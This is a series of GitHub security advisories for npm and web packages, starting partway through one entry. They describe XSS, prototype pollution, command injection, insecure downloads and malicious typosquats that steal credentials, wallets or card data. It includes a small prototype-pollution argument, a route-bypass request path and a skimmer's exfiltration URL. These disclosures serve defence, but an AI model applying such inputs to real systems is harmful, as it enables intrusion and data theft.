### Patches

This issue has been patched in release `2.0.8`

### Acknowledgements

This report was reported to us by @tyage (Ierae Security) through the [GitHub Bug Bounty Program](https://bounty.github.com).
Vulnerability: GHSA-c427-hjc3-wrfw
Summary: Cross-site scripting in Swagger-UI
Aliases: CVE-2019-17495
Severity: HIGH
CWE: CWE-79
Published: 2019-10-15T19:27:05Z

A Cascading Style Sheets (CSS) injection vulnerability in Swagger UI before 3.23.11 allows attackers to use the Relative Path Overwrite (RPO) technique to perform CSS-based input field value exfiltration, such as exfiltration of a CSRF token value. In other words, this product intentionally allows the embedding of untrusted JSON data from remote servers, but it was not previously known that <style>@import within the JSON data was a functional attack method.
Vulnerability: GHSA-hxhm-3vj9-6cqh
Summary: Downloads Resources over HTTP in apk-parser2
Aliases: CVE-2016-10632
Severity: HIGH
CWE: CWE-311
Published: 2018-09-18T13:49:31Z

Affected versions of `apk-parser2` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `apk-parser2`.


## Recommendation

No patch is currently available for this vulnerability, and the package has not been updated since 2014.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-6879-xr95-5gf4
Summary: Malicious Package in malicious-do-not-install
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T17:20:15Z

All versions of `malicious-do-not-install` contain malicious code. The package copies the contents of `/etc/passwd` and `/etc/shadow` to files in the local `/tmp/` folder.


## Recommendation

Remove the package from your environment and rotate affected credentials.
Vulnerability: GHSA-w8xh-93qh-35vw
Summary: Unrestricted Upload of File with Dangerous Type in Payload
Aliases: CVE-2022-27952
Severity: CRITICAL
CWE: CWE-434
Published: 2022-04-13T00:00:22Z

An arbitrary file upload vulnerability in the file upload module of PayloadCMS v0.15.0 allows attackers to execute arbitrary code via a crafted SVG file.
Vulnerability: GHSA-m8fm-mv5w-33pv
Summary: Command Injection in psnode
Aliases: CVE-2021-23375
Severity: HIGH
CWE: CWE-77
Published: 2021-05-06T15:52:59Z

This affects all current versions of package psnode. If attacker-controlled user input is given to the kill function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.
Vulnerability: GHSA-m8pw-h8qj-rgj9
Summary: Downloads Resources over HTTP in ipip-coffee
Aliases: CVE-2016-10673
Severity: MODERATE
CWE: CWE-311
Published: 2019-02-18T23:44:24Z

Affected versions of `ipip-coffee` insecurely download resources over HTTP. 

In scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This could impact the integrity and availability of the data being used to make geolocation decisions by an application.


## Recommendation

No patch is currently available for this vulnerability.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-629c-j867-3v45
Summary: Malicious Package in bitcoisnj-lib
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-04T16:41:04Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-rggq-f2wf-m6cp
Summary: Malicious Package in jajajejejiji
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-02T18:31:08Z

All versions of `jajajejejiji` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.


## Recommendation

Remove the package from your dependencies and always ensure package names are typed correctly upon installation.
Vulnerability: GHSA-hv4w-jhcj-6wfw
Summary: Cross-Site Scripting in snekserve
Severity: HIGH
CWE: CWE-79
Published: 2020-09-03T20:34:23Z

All versions of `snekserve` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
Vulnerability: GHSA-4p24-vmcr-4gqj
Summary: XSS vulnerability that affects bootstrap
Aliases: CVE-2016-10735
Severity: MODERATE
CWE: CWE-79
Published: 2019-01-17T13:57:27Z

In Bootstrap 3.x before 3.4.0 and 4.x-beta before 4.0.0-beta.2, XSS is possible in the data-target attribute. Note that this is a different vulnerability than CVE-2018-14041.

See https://blog.getbootstrap.com/2018/12/13/bootstrap-3-4-0/ for more info.
Vulnerability: GHSA-qmgf-fp85-55gr
Summary: Malicious Package in bitcionjs
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-04T15:40:34Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-j28q-p8ww-cp87
Summary: Prototype Pollution in merge-deep2.
Aliases: CVE-2021-23700
Severity: MODERATE
CWE: CWE-1321
Published: 2021-12-16T14:33:09Z

All versions of package merge-deep2 are vulnerable to Prototype Pollution via the mergeDeep() function.
Vulnerability: GHSA-8549-p68h-m9mc
Summary: Malicious Package in buffdr-xor
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T21:46:21Z

Version 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-xm28-fw2x-fqv2
Summary: Denial of Service in foreman
Severity: HIGH
CWE: CWE-400
Published: 2019-05-31T23:08:14Z

All versions of `foreman` are vulnerable to Regular Expression Denial of Service when requests to it are made with a specially crafted path.


## Recommendation

Upgrade to version 3.0.1.
Vulnerability: GHSA-w4v7-hwx7-9929
Summary: Cross-site Scripting in tempura
Aliases: CVE-2021-23784
Severity: MODERATE
CWE: CWE-79
Published: 2021-11-08T17:50:10Z

This affects the package tempura before 0.4.0. If the input to the esc function is of type object (i.e an array) it is returned without being escaped/sanitized, leading to a potential Cross-Site Scripting vulnerability.
Vulnerability: GHSA-7xfq-xh6v-4mrm
Summary: Malicious Package in json-serializer
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-01T20:27:53Z

Version 2.0.10 of `json-serializer` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`



## Recommendation

If version 2.0.10 of this module is found installed you will want to replace it with a version before or after 2.0.10. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.
Vulnerability: GHSA-p9pc-299p-vxgp
Summary: Prototype Pollution in yargs-parser
Aliases: CVE-2020-7608
Severity: MODERATE
CWE: CWE-915
Published: 2020-09-04T18:00:54Z

Affected versions of `yargs-parser` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects.  
Parsing the argument `--foo.__proto__.bar baz'` adds a `bar` property with value `baz` to all objects. This is only exploitable if attackers have control over the arguments being passed to `yargs-parser`.



## Recommendation

Upgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.
Vulnerability: GHSA-84fv-prrc-5ggr
Summary: Route Validation Bypass in call
Aliases: CVE-2016-10543
Severity: MODERATE
CWE: CWE-20
Published: 2019-02-18T23:40:04Z

Affected versions of `call` do not validate empty parameters, which may result in a bypass of route validation rules. 

## Proof of Concept

Routing Scheme:
```
/api/{param}/{param2}/details
```
Triggering Request Path:
```
/api///
```


## Recommendation

Update to version 3.0.2 or later.
Vulnerability: GHSA-gpvr-g6gh-9mc2
Summary: No Charset in Content-Type Header in express
Aliases: CVE-2014-6393
Severity: MODERATE
CWE: CWE-79
Published: 2018-10-23T17:22:54Z

Vulnerable versions of express do not specify a charset field in the content-type header while displaying 400 level response messages. The lack of enforcing user's browser to set correct charset, could be leveraged by an attacker to perform a cross-site scripting attack, using non-standard encodings, like UTF-7.


## Recommendation

For express 3.x, update express to version 3.11 or later.
For express 4.x, update express to version 4.5 or later.
Vulnerability: GHSA-6677-83pp-f862
Summary: Cross-Site Scripting in @nuxt/devalue
Aliases: CVE-2019-13506
Severity: MODERATE
CWE: CWE-79
Published: 2019-07-16T00:42:02Z

Versions of `@nuxt/devalue` prior to 1.2.3 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization attacker may inject arbitrary JavaScript code through object keys.


## Recommendation

Upgrade to version 1.2.3 or later.
Vulnerability: GHSA-m4fq-xh7w-jhfm
Summary: Malicious Package in crytpo-js
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T19:39:46Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-vjfr-p6hp-jqqw
Summary: Command Injection in ungit
Aliases: CVE-2015-4130
Severity: CRITICAL
CWE: CWE-77
Published: 2020-08-31T23:00:10Z

Versions of `ungit` prior to 0.9.0 are affected by a command injection vulnerability in the `url` parameter.


## Recommendation

Update version 0.9.0 or later.